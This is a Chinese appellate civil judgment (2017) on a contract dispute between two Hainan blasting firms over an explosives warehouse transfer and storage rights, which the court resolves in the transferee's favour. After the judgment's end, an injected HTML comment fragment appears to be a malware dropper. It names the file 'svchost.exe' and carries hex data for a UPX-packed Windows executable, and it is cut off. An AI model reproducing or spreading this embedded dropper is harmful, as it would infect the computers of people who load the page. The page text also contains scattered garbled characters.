海南省海口市中级人民法院
p t ; ” > 民 事 判 决 书
（2017）琼01民终682号
上诉人（原审被告）：海南广安爆破工程有限公司，住所地海口市龙华区滨濂新村二里108号广安大厦二楼。
法定代表人：赖耀胜，总经理。
委托诉讼代理人：刘小平，海南瑞来律师事务所律师。
委托诉讼代理人：南艺伦，海南瑞来律师事务所实习律师。
被上诉人（原审原告）：海南国安爆破工程有限公司，住所地海口市琼山区滨江路滨江新城C1栋2单元901室。
法定代表人：莫亚有，总经理。
委托诉讼代理人：张宝华，海南德赛利律师事务所律师。
委托诉讼代理人：张小梅，海南德赛利律师事务所律师。
上诉人海南广安爆破工程有限公司（以下简称广安公司）与被上诉人海南国安爆破工程有限公司（以下简称国安公司）合同纠纷一案，不服海南省海口市秀英区人民法院（2016）琼0105民初1667号民事判决，向本院提起上诉。本院于2017年3月2日立案后，依法组成合议庭，对本案进行了审理。本案现已审理终结。
广安公司上诉请求：1.撤销一审判决，判决驳回国安公司的诉讼请求；2.确认国安公司于2016年9月2日发出《解除合同通知书》无效；3.一、二审的诉讼费由国安公司承担。
事实与理由：一、一审立案时的案由是仓储合同纠纷，但一审法院则按买卖合同纠纷进行审理，一审判决还违反”不告不理”的诉讼原则，程序错误。（一）根据《中华人民共和国合同法》第三百八十一条规定”仓储合同是保管人储存存货人交付的仓储物，存货人支付仓储费的合同。”本案中，国安公司以广安公司不满足其储存民爆器材的空间需要而起诉解除《民爆器材储存仓库转让协议书》，其诉讼请求的是买卖合同，一审法院却以”仓储合同纠纷”立案，且在审理过程中，未向诉讼参加人释明本案的基础法律关系。（二）国安公司的诉讼请求为”请求人民法院依法判令解除国安公司与广安公司于2015年9月13日签订的《民爆器材储存仓库转让协议书》”在国安公司没有变更诉讼请求的情况下，一审判决的是”确认国安公司与广安公司签订的《民爆器材储存仓库转让协议书》于2016年9月2日解除。”违反了”不告不理”的诉讼原则，程序违法。二、一审判决认定事实错误。（一）一审判决认定《民爆器材储存仓库转让协议书》是附解除条件的合同，属认定错误。附解除条件的合同，双方必须明确约定在条件成就时合同解除的内容。《民爆器材储存仓库转让协议书》中第七条约定”如甲方（国安公司）需要使用乙方（广安公司）的民爆器材储存仓库，乙方须同意甲方有偿使用（此为甲方同意转让此仓库给乙方�前提条件）。经双方协商后按协商的价格执行（炸药：1000元/吨；电雷管：1元/发；导爆管雷管：2元/发），并按照有关规定签订民爆器材储存保管协议书。”本条是对国安公司转让仓库后享有有偿使用广安公司受让的仓库仓储民爆器材的约定，由于仓储的存量、时间均不能确定，故只约定了保管价款，该条款仅仅是合同双方当事人对国安公司有权要求仓储及价款的约定，而不是解除合同的条件，因此《民爆器材储存仓库转让协议书》不是附解除条件的合同，一审判决认定事实错误。（二）一审判决认定广安公司履行《民爆器材储存仓库转让协议书》违约，属认定错误。一审判决对没有约定具体仓储量、仓储时间的合同条款，擅自扩大解释，并以此判断违约情形，是对合同法意思自治原则的违背。一审判决认定”本案中，国安公司转让涉案仓库的前提条件是广安公司同意有偿使用，双方虽未对有偿使用量进行明确的约定，但一审法院根据有利于合同履行的合理理解为，广安公司应优先提供仓库供国安公司使用，且应满足国安公司项目的合理使用量。本案中，国安公司陈述其仅需库存量的百分之二十至三十即可，一审法院认为”该量属于合理范围，但本案中，广安公司仅让国安公司存放极少数量爆破物品，双方协商未果，国安公司为了履行与案外人签订的合同，将爆破物品存放于案外人海南洋浦广安爆破工程有限公司（以下简称洋浦广安），支付的价款高于国安公司、广安公司签订的《民爆器材储存仓库转让协议书》近18倍，国安公司的成本陡增，广安公司行为应认为未依约履行”内容，均是一审判决擅自扩大的解释，而不是合同的约定。首先，国安公司与广安公司签订转让协议的目的是收取价款，而不是仓储。双方签订转让协议时，国安公司根本不能确定仓储时间及仓储量，更不能确定是否及何时承接什么项目。故转让协议约定在国安公司需要有偿使用仓库时，”并按照有关规定签订民爆器材储存保管协议书”，广安公司与国安公司已就国安公司承接的”鑫双龙石场项目”及”南渡江引水工程项目”签订了《爆破物品委托保管服务协议》并经公安部门备案，广安公司已履行了《民爆器材储存仓库转让协议书》第七条约定的义务，实际上国安公司至今一直在广安公司处仓储爆破物品。其次，《爆破物品委托保管服务协议》第二条约定”在民用爆破器材入库前，甲方（国安公司）应提前3天与乙方（广安公司）确定仓库储存量，以便做好入库准备工作。”仓储空间是否满足国安公司的存量需求，应当依据《爆破物品委托保管服务协议》判断而不能依据《民爆器材储存仓库转让协议书》作判断。最后，广安公司受让涉案仓库后，对仓库享有占有、使用、收益和处分的权利，广安公司受让仓库后，没有空置仓库以等待国安公司使用的义务，一审判决认为广安公司没有向国安公司提供百分之二十至三十的使用量即是违约，是对广安公司物权的侵犯。（三）一审判决认定”本案中，广安公司应优先提供仓库供国安公司使用，且应满足国安公司项目的合理使用量，但广安公司仅让国安公司存放极少量爆破物品，国安公司为履行合同，与案外人签订合同，支付高额储存费，一审法院认为该情形应认定为根本违约，合同目的不能实现。”混淆了仓储合同与买卖合同的性质及合同的目的。国安公司作为《民爆器材储存仓库转让协议书》转让人的合同目的是收取160万元的转让款，而不是一审判决认为的使用仓库，国安公司已收取160万元的转让款，国安公司也已将仓库交付给广安公司，双方《民爆器材储存仓库转让协议书》的合同目的均已经实现，根本不存在导致合同目的不能实现的根本违约情形。仓储合同与买卖合同是两个根本不同性质的合同，一审判决混淆了仓储合同与买卖合同的法律关系及法律适用，系认定错误。（四）国安公司于2016年7月15日向一审法院起诉要求判令解除《民爆器材储存仓库转让协议书》，国安公司又于2016年9月2日向广安公司寄送《解除合同通知书》，该通知书内容与其诉讼请求内容一致，广安公司提交的《答辩状》已明确国安公司诉讼请求不应得到支持，广安公司在收到该通知书后，于2016年9月26日向国安公司寄送了《告知书》，并向�审法院送交了请求驳回其诉讼请求的《申请书》，本案在审理中，国安公司于2016年9月2日发出的《解除合同通知书》不产生合同法第九十六条规定的解除合同的法律效力。一审判决认定”该通知书到达广安公司处，双方合同即解除”没有事实依据和法律依据，认定事实错误。三、一审判决适用法律错误。（一）一审法院不是依合同约定，而是适用《中华人民共和国合同法》第四十五条规定认定《民爆器材储存仓库转让协议书》属附解除条件的合同，属适用法律错误。（二）一审判决混淆仓储合同与买卖合同的性质和合同目的，适用合同法第六十条、第九十四条，且在《民爆器材储存仓库转让协议书》双方当事人的合同目的均已实现的情形下，认定广安公司根本违约，属适用法律错误。（三）一审法院在审理过程中、且根本不存在合同法第九�四条规定的解除合同的情形下，适用合同法第九十六条规定判决确认《民爆器材储存仓库转让协议书》于2016年9月2日解除，明显错误。四、国安公司的一审诉讼请求及2016年9月2日发出的《解除合同通知书》没有事实和法律依据，鉴于国安公司已就解除合同提起诉讼，广安公司请求二审人民法院撤销一审判决、确认国安公司于2016年9月2日发出的《解除合同通知书》无效，并请求法院向广安公司释明，广安公司是否还需要另案起诉”确认国安公司2016年9月2日发出的《解除合同通知书》无效”，这才符合《中华人民共和国合同法》第九十六条及《最高人民法院关于适用〈中华人民共和国合同法〉若干问题的解释（二）》第二十四条关于”请求人民法院或者仲裁机构确认解除合同的效力”的规定，以免广安公司的合法利益被�审判决造成的程序障碍侵害。综上，请求二审法院依法撤销一审判决，驳回国安公司的诉讼请求，维护合同的交易安全及稳定，以维护当事人的合法权益。
国安公司辩称，一、涉案《民爆器材储存仓库转让协议书》是复合合同，其内容包括仓库转让和仓储两大块。但本案双方当事人之间的纠纷主要是仓储这一块，一审法院将案由确定为仓储合同纠纷，并无不妥。2015年9月13日，国安公司与广安公司签订《民爆器材储存仓库转让协议书》，其第一条至第六条均是仓库转让的内容，但第七条是关于仓储的约定。因此，涉案合同名称中虽然只有”转让”的字眼，但合同的性质不能单单根据名称而定，而须根据合同内容确定。根据内容，涉案合同性质为复合合同，它包含两重合同法律关系：一是转让，二是仓储。国安公司是因广安公司不同意按约仓储而起诉，因此法院将案由确定为仓储合同纠纷并无不妥。二、一审判决第一项（即确认涉案合同于2016年9月2日解除）并未违背不告不理的原则。其一，国安公司在一审起诉时，诉讼请求中明确包含有合同解除的内容，一审判决第一项（即确认涉案合同于2016年9月2日解除）是对国安公司该项诉讼请求的回应，即是基于国安公司关于解除合同的请求作出的判项，法院没有超过审理范围，没有违背不告不理原则。其二，因广安公司不同意国安公司仓储，构成根本违约，国安公司在一审诉讼中，通知广安公司解除涉案合同，该种解除合同的方式并不为法律所禁止。涉案合同在一审判决之前已经解除，法院为了回应国安公司关于解除合同的诉讼请求，当然只能以确认合同已经解除的方式作出具体判项。广安公司关于一审判决违反不告不理原则、程序错误的上诉理由，不能成立。三、涉案合同因系复合合同，双方当事人合同目的均是双重的。对应于转让和仓储，国安公司的双重合同目的一是取得转让款，二是在涉案仓库按约定储存民爆器材（即仓储）。广安公司将国安公司合同目的片面化为”收取价款”，显然错误。四、广安公司不同意国安公司将鑫双龙采石场项目的爆破物品存放入涉案的民爆器材储存仓库，致国安公司仓储的合同目的无法实现，一审判决认定广安公司构成根本违约，并无不当。2016年2月3日，国安公司与海南鑫双龙矿业有限公司签署《鑫双龙采石�爆破施工服务协议书》，国安公司承揽鑫双龙采石场爆破施工工程，该项目所需爆破物品的数量相对较大。该施工服务协议签订后，虽然广安公司与国安公司签订了《爆破物品委托保管服务协议》，但是广安公司不同意国安公司将鑫双龙采石场项目的炸药存放入涉案的转让协议约定的民爆器材储存仓库。经多次要求和沟通，广安公司坚决不同意国安公司将鑫双龙采石场项目的炸药存放入涉案民爆器材储存仓库。当时，负责爆破器材治安管理的海口市公安局治安大队二大队领导还专门协调过，广安公司仍不同意国安公司在涉案合同约定的仓库仓储。为履行《鑫双龙采石场爆破施工服务协议书》，国安公司被迫以超高价与广安公司的关联公司洋浦广安签订《爆破物品委托保管服务协议》，将鑫双龙采石场项目的民用爆破物品存放于洋浦广安的仓库。洋浦广安要求国安公司支付的储存价格为450元/箱，一吨即为18750元（1箱为24KG，一吨约为41.667箱），该价格是国安公司与广安公司签订转让协议约定价格的18倍。正是因为广安公司不同意国安公司将鑫双龙采石场项目的炸药存放于涉案的民爆器材储存仓库，国安公司才不得不另找其他仓库储存，致使经营成本陡增，并且洋浦广安所收取的仓储费比国安公司购买爆破物品的成本和利润总和还要高，国安公司完全是在亏本施工鑫双龙采石场项目。如前所述，依照涉案合同约定，国安公司的合同目的之一就是要在涉案仓库里仓储爆破器材，而且依据合同约定，广安公司满足国安公司仓储合同目的是国安公司同意出卖仓库的前提条件。广安公司坚决拒绝国安公司存放鑫双龙项目民爆器材，致使国安公司合同目的无法实现，一审判决认定广安公司构成根本违约，并无不当。国安公司据此解除合同，于法有据。五、一审判决对《民爆器材储存仓库转让协议书》第七条的解释合情合理。依据涉案合同第七条，”如甲方需要使用乙方的民爆器材储存仓库，乙方须同意甲方有偿使用（此为甲方同意转让此仓库给乙方的前提条件）。”一审判决据此约定认定，”广安公司应优先提供仓库供国安公司使用，且应满足国安公司项目的合理使用量，本案中，国安公司陈述其仅需库存量的百分之二十至三十即可，一审法院认为该量属合理范围，但本案中，广安公司仅让国安公司存放少量爆破物品，双方协商未果，国安公司为了履行与案外人签订的合同，将爆破物品存放于案外人洋浦广安，支付的价格高于国安公司、广安公司签订的《民爆器材储存仓库转让协议书》近18倍，国安公司的成本陡增，广安公司行为应认为未依约履行......该情形应�定为根本违约。”一审判决该认定合情合理合法。六、一审判决关于涉案合同已经解除的认定并无错误。涉案合同应否解除，不能依广安公司意志而定。鉴于广安公司的严重违约，国安公司于2016年9月2日通知广安公司解除涉案合同，并向其送达了解除通知。根据合同法的有关规定，涉案合同从此解除。这种解除合同的方式，不违反法律规定。而且，一审法院经过审理，亦认定广安公司构成根本违约，即法院认定国安公司解除合同并无不当。因此，一审判决认定涉案合同已经解除，没有任何错误。七、一审判决适用法律正确，依法应予维持。一审判决认定因广安公司的违约行为致国安公司仓储的目的无法实现，并根据合同法第六十条、第九十四条，认定国安公司可以解除合同，适用法律正确。2016年9月2日，国安公司向广安公司发出了《解除合同通知书》�根据合同法第九十六条规定：”当事人一方依照本法第九十三条第二款、第九十四条的规定主张解除合同的，应当通知对方。合同自通知到达对方时解除。......”因此，涉案的《民爆器材储存仓库转让协议书》自国安公司《解除合同通知书》到达广安公司时已经解除。一审法院根据该规定，确认《民爆器材储存仓库转让协议书》已解除，适用法律正确。另，本案中，合同解除问题是本案审理内容之一，法院应就涉案合同解除的实质条件进行审理并作出判决，当事人不得就合同解除问题另案诉讼。综上，请求二审法院驳回广安公司的上诉请求，维持原判。
国安公司向一审法院起诉请求：1.解除国安公司与广安公司于2015年9月13日签订的《民爆器材储存仓库转让协议书》，并判令广安公司返还位于海口市××区民爆器材储存仓库（含仓库现有建筑及其他所有设施、设备、库房、房屋及营业设备）给国安公司，及判令国安公司退还广安公司160万元；2.广安公司承担本案所有诉讼费用。
一审法院认定事实：2015年9月13日，国安公司作为甲方，与广安公司作为乙方，双方签订一份《民爆器材储存仓库转让协议书》，约定甲方�位于海口市××区民爆器材储存仓库转让给乙方，转让款160万元，转让内容包括民爆器材储存仓库现有的建筑及其他所有设施、设备、库房、房屋及营业设备等。协议还约定，如甲方需要使用乙方的民爆器材储存仓库，乙方须同意甲方有偿使用（此为甲方同意转让此仓库给乙方的前提条件），双方还协议储存价格为炸药1000元/吨、电雷管1元/发，导爆管雷管2元/发。合同落款处甲方由国安公司法定代表人莫亚有签名并加盖公司公章，乙方由广安公司赖会胜签名并加盖公司公章。合同签订后，广安公司向国安公司支付了转让款160万元，国安公司向广安公司移交了民爆器材储存仓库现有的建筑及其他所有设施、设备、库房、房屋及营业设备等。2016年2月3日，国安公司与案外人海南鑫双龙矿业有限公司签订一份《鑫双龙采石场爆破施工服务协议书》，约定国安公司承揽该公司的爆破施工。2016年3月8日，国安公司与重庆建工第二市政工程有限责任公司签订一份《爆破施工服务协议书》，约定国安公司承揽该公司施工的海口市南渡江引水工程中部输水隧洞工程。二份合同签订，国安公司需要储存民爆器材，依约要求广安公司提供仓库储存，国安公司与广安公司于2016年6月15日签订二份《爆破物品委托保管服务协议》，同意国安公司储存爆破物品，但仅提供部分爆破器材存放量，远达不到二个项目所需民爆器材存储量。国安公司为了履行与案外人海南鑫双龙矿业有限公司签订的合同，于2016年7月29日与案外人洋浦广安签订一份《爆破物品委托保管服务协议》，约定国安公司将鑫双龙石场购买的民爆物品储存于案外人公司仓库，仓储保管费约定为炸药18750元/吨（450元/箱）、电雷管5元/发、分段电雷管6元/发、5米脚线导爆管雷管10元/发、10米脚线导爆管雷管15元/发。之后，国安公司与广安公司协商，要求广安公司依约提供一定的储存量，但未果，国安公司遂于2016年9月2日向广安公司发出《解除合同通知书》，通知广安公司解除与其签订的《民爆器材储存仓库转让协议书》，并将仓库返还国安公司，广安公司收到后未予答复。该案庭审后，一审法院组织国安公司、广安公司双方调解，未果。另查明，涉案仓库储存容量炸药18吨、雷管5万发。国安公司陈述其鑫双龙项目每日所需炸药量纸业3吨，南渡江项目每日所需量约0.5吨。
一审法院认为，国安公司与广安公司签�的《民爆器材储存仓库转让协议书》是否已解除。根据《中华人民共和国合同法》规定，当事人对合同的效力可以约定附条件，附解除条件的合同，自条件成就时失效。本案中，国安公司、广安公司双方协议约定，国安公司同意转让涉案仓库的前提条件是广安公司同意国安公司有偿使用，此约定应属附解除条件的约定，本案中，国安公司转让涉案仓库的前提条件是广安公司同意国安公司有偿使用，双方虽未对有偿使用量进行明确的约定，但一审法院根据有利于合同履行的目的合理理解为，广安公司应优先提供仓库供国安公司使用，且应满足国安公司项目的合理使用量，本案中，国安公司陈述其仅需库存量的百分之二十至三十即可，一审法院认为该量属于合理范围，但本案中，广安公司仅让国安公司存放极少量爆破物品，双方协商未果，国安公司为了履行与案外人签订的合同，将爆破物品存放于案外人洋浦广安，支付的价款高于国安公司、广安公司签订的《民爆器材储存仓库转让协议书》近18倍，国安公司的成本陡增，广安公司行为应认为未依约履行，符合合同中解除条件，该条件成就，国安公司诉求解除理由成立。同时，根据《中华人民共和国合同法》规定，当事人一方迟延履行债务或者有其他违约行为致使不能实现合同目的，当事人可以解除合同。本案中，广安公司应优先提供仓库供国安公司使用，且应满足国安公司项目的合理使用量，但广安公司仅让国安公司存放极少量爆破物品，国安公司为履行合同，与案外人签订合同，支付高额储存费，一审法院认为该情形应认定为根本违约，合同目的不能实现。广安公司认为己方储存了国安公司爆破物品，但一审法院认为，广安公司的储存量不足以达到国安公司履行合同所需的�理使用量，不影响广安公司违约行为。国安公司于2016年9月2日发出《解除合同通知书》，通知解除与广安公司签订的《民爆器材储存仓库转让协议》，一审法院认为该通知书到达广安公司处，双方合同即解除。综上所述，国安公司、广安公司双方签订了附解除条件的合同，广安公司违约，解除条件成就，且广安公司未依约履行合同，构成根本违约，导致国安公司所签订的合同目的不能实现，国安公司解除理由成立，但国安公司于2016年9月2日向广安公司发出解除通知书，根据合同法规定，通知到达即解除，且广安公司未提异议，也未请求人民法院或者仲裁机构确认解除合同的效力。故国安公司、广安公司之间2015年9月13日签订的《民爆器材储存仓库转让协议》已经解除，国安公司仍诉求解除合同表述不恰当，一审法院予以纠正为确认解除合同。合同已通知解除，国安�司诉求返还位于海口市××区民爆器材储存仓库（含仓库现有建筑及其他所有设施、设备、库房、房屋及营业设备）理由成立，一审法院予以支持。国安公司请求确认其向广安公司返还转让费160万元，是诚信诉讼的体现，避免了广安公司反诉或另行诉讼带来的诉累，一审法院予以照准。依照《中华人民共和国合同法》第八条、第四十五条、第六十条、第九十四条、第九十六条、《中华人民共和国民事诉讼法》第六十四条规定，判决如下：一、确认国安公司与广安公司签订的《民爆器材储存仓库转让协议书》于2016年9月2日解除；二、广安公司于本判决发生法律效力之日起十日内向国安公司返还位于海口市××区民爆器材储存仓库（含仓库现有建筑及其他所有设施、设备、库房、房屋及营业设备）；三、国安公司于本判决书生法律效力之日起十日内向广安公司返还仓库转�款160万元。如果未按本判决指定的期间履行给付金钱义务，应当依照《中华人民共和国民事诉讼法》第二百五十三条规定，加倍支付迟延履行期间的债务利息。案件受理费19200元，减半收取计9600元，由广安公司负担。
二审中，广安公司向本院提交如下证据:1.《告知书》，证明国安公司向广安公司发出《解除合同通知书》，广安公司于2016年9月26日向国安公司提出异议。2.《申请书》，证明广安公司向一审法院提交《申请书》，对国安公司要求解除合同行为提出异议，要求驳回国安公司的诉讼请求。3.炸药出入库总账簿、�爆器材使用流向登记薄、炸药使用流向登记薄、起爆器材出入库总账簿，证明双方在签订《爆破物品委托保管服务协议》后国安公司将爆炸物品存放在了广安公司的仓库处至今。4.起诉状、裁定书，证明广安公司在异议期限内（3个月内）于2016年11月25日向一审法院提起解除权异议之诉，证明《解除合同通知书》并未发生解除的法律效力，因此一审法院确认合同已经解除属于认定事实错误。5.邮寄回执单，证明内容与证据1的证明内容相同。6.调查笔录，证明国安公司代理律师向陈绍德询问本案情况时，陈绍德对本案具体事实并不清楚，并非存在广安公司不同意国安公司在仓库中存放爆破物品的事实。7.炸药出入库总账簿、炸药使用流向登记簿、起爆器材出入库总账簿、起爆器材使用流向登记簿，证明双方自2016年9月15日签订南渡江引水工程的《爆破物品委托保管协议》以及鑫双龙石场项目《爆破物品委托保管协议》后，国安公司的爆破物品一直存放在广安公司仓库至今。
国安公司质证意见为：证据1、2，没有提到合同解除的问题，对证据1、2的证明内容不认可。证据3，对真实性没有异议，但不能证明广安公司同意国安公司仓储鑫双龙项目的炸药，理由是鑫双龙石场的项目名称是广安公司自行写上，只认可其记载内容的真实性，相关物品是涉案合同签订前就已经存放在仓库中，不能视为广安公司同意国安公司存放。证据4，对真实性没有异议，对证明内容有异议，国安公司一审已经就合同解除提出了明确的诉讼请求，在审理过程中国安公司向广安公司送达了解除合同的通知，在这种情况下，法院必须要就合同解除问题作出实体的审理和判决，广安公司没有必要另行提出解除合同无效的诉讼。证据5，对真实性予以认可，但对证明内容不认可，告知书仅是对国安公司的起诉有意见，内容根本没有涉及合同解除的问题。证据6，对真实性没有异议，反而证明了广安公司并没有存放鑫双龙项目的炸药，国安公司代理律师的调查笔录上陈绍德明确陈述广安公司不同意存放鑫双龙项目的炸药，至于不同意的原因并没有说清楚。证据7，主要是关于洋浦广安仓库的存放，而广安公司仓库的存放量非常小。
国安公司提交如下证据：1.《爆破工程合作协议》及《购买使用民用爆炸物品审批表》（详见第1～3页），证明2013年7月6日，国安公司与海口那佑实业有限公司签订《爆破工程合作协议》，约定国安公司承包那佑石场的爆破工程。在涉案的秀英区石山镇仓库转让前，那佑石场项目的爆炸物品已经海口市公安局审批存放于该仓库。2.《石方工程爆破施工合同》及《爆破作业项目许可审查登记表》（详见第5～15页），证明2015年6月20日，国安公司与中国水电路桥工程有限公司经理部签订《石方工程爆破施工合同》，约定国安公司承包美安科技新城项目的爆破施工工程。在涉案的秀英区石山镇仓库转让前，美安科技新城项目的爆炸物品已经海口市公安局审批存放于该仓库。3.《海口港新海�区汽车客货滚装码头一期工程港池炸（清）礁项目施工合同》《海口港新海港区汽车客货滚装码头二期工程港池炸（清）礁项目施工合同》及《爆破作业项目许可审查登记表》，证明2014年5月3日和2015年6月20日，国安公司与中交四航局海口港新海港区工程项目经理部分别签订《海口港新海港区汽车客货滚装码头一期工程港池炸（清）礁项目施工合同》和《海口港新海港区汽车客货滚装码头二期工程港池炸（清）礁项目施工合同》，约定国安公司承包的新海港一期、二期的港池炸礁工程。在涉案的秀英区石山镇仓库转让前，新海港项目的爆炸物品已经海口市公安局审批存放于该仓库。4.《石方爆破合同》及《爆破作业项目许可审查登记表》，证明2013年7月6日，国安公司与海口那佑实业有限公司签订《爆破工程合作协议》，约定国安公司承包那佑石场的爆破工程。在涉�的秀英区石山镇仓库转让前，那佑石场项目的爆炸物品已经海口市公安局审批存放于该仓库。5.收据及部分银行转账回单，证明因广安公司不同意国安公司将鑫双龙采石场项目的爆炸物品储存于涉案的秀英区石山镇仓库，国安公司被迫以高价将鑫双龙采石场项目的爆炸物品存放于洋浦广安仓库，并支付450元/箱（一吨约为42箱，一吨为18900元）的仓储费，该价格是双方签订的转让协议书约定的1000元/吨的价格18.9倍。6.说明及调查笔录，证明虽然广安公司与国安公司就鑫双龙采石场的爆炸物品存储事宜签订《爆破物品委托保管服务协议》，但协议签订后，广安公司根本不同意国安公司存储鑫双龙采石场项目的爆破物品。7.手机短信（详见第1～6页），证明2016年8月至2017年3月期间，对于鑫双龙采石场项目爆破物品仓储费用，洋浦广安按450元/箱向国安公司计收仓储费。洋浦广安的廖剑将仓储费用明细以短信的形式通知国安公司，并要求国安公司按短信通知的费用数额支付仓储费用。这部分款项数额与国安公司提交的第一部分证据材料清单的第45～55页的银行转账回单上的数额相对应。8.手机短信（详见第7～12页），证明2016年6月至2017年3月期间，广安公司法定代表人赖耀胜以短信方式通知国安公司的那佑石场和南渡江引水工程项目的爆破物品仓储费用，这两个项目的仓储费用按双方转让协议约定的炸药1000吨的价格计算。9.银行业务回单（详见第13～17页），主要证明国安公司已按短信通知的费用金额向广安公司法定代表人赖耀胜转账支付了那佑石场和南渡江引水工程项目的爆破物品仓储费用。
广安公司的质证意见为：对证据1～4的真实性、合法性无异议，但对证明内容有异议。爆破物品均是在仓库所有权未转移前所签订并存放的，并一直存放到项目结束，证明广安公司同意国安公司存放。对证据5的真实性、合法性无异议，但对证明内容有异议。国安公司与仓储单位按协商一致的价格及存量来支付仓库管理费属市场行为，与本案合同是否应当解除并没有关联性。对证据6的真实性无异议，但对合法性有异议，该证据属于”证人证言”，证人依法应当出庭作证，经质证后才能判断是否具有证明效力。对证据7的真实性无异议，但对证明内容及证明效力有异议。首先，”爆破物品”主要分两类。一类是炸药，另一�是雷管。广安公司提供的证据显示，国安公司的鑫双龙项目雷管一直存放在涉案仓库，证明该调查笔录中鑫双龙爆破物品没有存入涉案仓库的部分证言是虚假的。其次，被调查人回答的内容均是广安公司与国安公司履行《爆破物品委托保管服务协议》的争议，且对争议是”据了解””具体原因不清楚””大概是”等字眼，其推断性的言论不具有证明效力。最后，代理律师的调查笔录属证人证言，而证人应当出庭作证，接受法庭的质询及广安公司的质证，广安公司对该调查笔录不认可。证据8是手机短信（与廖剑明），与证据5的质证意见相同。证据9是手机短信（与赖耀胜），对真实性、合法性无异议，对关联性有异议，该证据证明双方签订《民爆器材储存仓库转让协议书》后，双方签订了《爆破物品委托保管服务协议》及履行的情况，与转让合同是否应当解除不具有关联性。对证据9的真实性没有异议，广安公司同意国安公司仓储，双方还在正常履行中。
本院查明：2015年9月13日，国安公司（甲方）与广安公司（乙方）签订的《民爆器材储存仓库转让协议书》中第七条约定：如甲方需要使用乙方的民爆器材储存仓库，乙方须同意甲方有偿使用（此为甲方同意转让此仓库给乙方的前提条件）。经双方协商后按协商的价格执行（炸药：1000元/吨；电雷管：1元/发；导爆管雷管：2元/发），并按照有关规定签订民爆器材�存保管协议书。
2016年6月15日，国安公司与广安公司就”海口市东山镇鑫双龙石场”项目和”海口市南渡江引水工程石场”项目所购买的民用爆炸物品的仓储事宜，双方签订了二份内容大致相同《爆破物品委托保管服务协议》，主要约定，国安公司负责把”海口市东山镇鑫双龙石场”项目和”海口市南渡江引水工程石场”项目所购买的民用爆炸物品送到广安公司仓库储存，国安公司应在民用爆炸物品入库前3天与广安公司确定仓库储存量，并办理入库登记手续，保管费按双方约定的价格支付。双方在该两份协议中未约定爆破器材存放量，之后，也未就此达成一致意见。
本院认为，本案合同应否解除的问题。首先，国安公司与广安公司签订的《民爆器材储存仓库转让协议书》后，广安公司已按约定向国安公司支付了全部转让款160万元，国安公司也将涉案仓库交付给广安公司。国安公司转让涉案仓库的主要目的是收取合同价款，而广安公司受让涉案仓库的目的是对涉案仓库占有、使用、收益等，本案双方就该转让协议中的主要义务已经履行完毕，合同目的已经基本实现，故广安公司不存在根本性违约的问题。其次，根据《民爆器材储存仓库转让协议书》第七条约定：”如国安公司需要使用广安公司的民爆器材储存仓库，广安公司须同意国安公司有偿使用（此为国安公司同意转让此仓库给广安公司的前提条件）。经双方协商后按协商的价格执行（炸药：1000元/吨；电雷管：1元/发；导爆管雷管：2元/发），并按照有关规定签订民爆器材储存保管协议书。”从该条款约定的内容看，国安公司如需要使用储存仓库时，广安公司必须同意并按约定价格执行。而双方在该条款中并未就储存时间、空间、储存量等作出具体、明确规定，仅是约定了按照有关规定签订《民爆器材储存保管协议书》，故条款应为双方对涉案仓库转让后，国安公司将来需要使用仓库时及其仓储价格所作出的预先安排。�合本案，《民爆器材储存仓库转让协议书》签订后，国安公司与广安公司已就民爆器材的仓储事宜，于2016年6月15日签订了二份《爆破物品委托保管服务协议》，但二份协议也未约定民爆器材的存放量。由此可见，该条款系双方为转让仓库所预设的前提条件，并非系合同的解除条件。最后，本案中，国安公司未提供有效的证据证明双方已就民爆器材的存放量达成一致，也未提供充分的证据证明广安公司拒绝其存放涉案民爆器材的事实。实际上，国安公司仍有部分民爆器材存放在广安公司处，而国安公司提供其在案外人处存放民爆器材的事实，并不能证明广安公司存在违反了双方合同约定，从而导致合同应当解除的情形。综合以上分析，本案双方并未约定合同解除条件，广安公司也不存在根本违约的事实，且双方合同主要义务已经履行完毕，故国安公司请求解除其与�安公司于2015年9月13日签订的《民爆器材储存仓库转让协议书》，并判令广安公司返还位于海口市××区民爆器材储存仓库（含仓库现有建筑及其他所有设施、设备、库房、房屋及营业设备）给国安公司，以及判令国安公司退还广安公司160万元的诉讼请求，无事实和法律依据，应予以驳回。一审法院以广安公司的储存量不足以达到国安公司履行合同所需的合理使用量，存在违约行为，国安公司已于2016年9月2日发出《解除合同通知书》，认定双方合同已解除，并判决双方互相返还财产，属认定事实不清，证据不足，适用法律错误，本院予以纠正。
综上，广安公司的上诉请求成立，予以支持。依照《中华人民共和国合同法》第八条、《中华人民共和国民事诉讼法》第六十四条第一款、第一百七十条第一款第二项规定，判决如下：
一、撤销海南省海口市秀英区人民法院（2016）琼0105民初1667号民事判决；
二、驳回海南国安爆破工程有限公司的诉讼请求。
一审案件受理费19200元，减半收取计9600元，二审案件受理费19200元，均由海南国安爆破工程有限公司负担。
本判决为终审判决。
审判长陈杰林
审判员谭晓梅
审判员周玲
二〇一七年九月二十九日
法官助理汪园圆
书记员陆云
速录员于倩
附相关法律条文：
《中华人民共和国合同法》
第八条依法成立的合同，对当事人具有法律约束力。当事人应当按照约定履行自己的义务，不得擅自变更或者解除合同。依法成立的合同，受法律保护。
《中华人民共和国民事诉讼法》
第六十四条当事人对自己提出的主张，有责任提供证据。
当事人及其诉讼代理人因客观原因不能自行收集的证据，或者人民法院认为审理案件需要的证据，人民法院应当调查收集。
人民法院应当按照法定程序，全面地、客观地审查核实证据。
《中华人民共和国民事诉讼法》
第一百七十条第二审人民法院对上诉案件，经过审理，按照下列情形，分别处理：
（一）原判决、裁定认定事实清楚，适用法律正确的，以判决、裁定方式驳回上诉，维持原判决、裁定；
（二）原判决、裁定认定事实错误或者适用法律错误的，以判决、裁定方式依法改判、撤销或者变更；
......
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000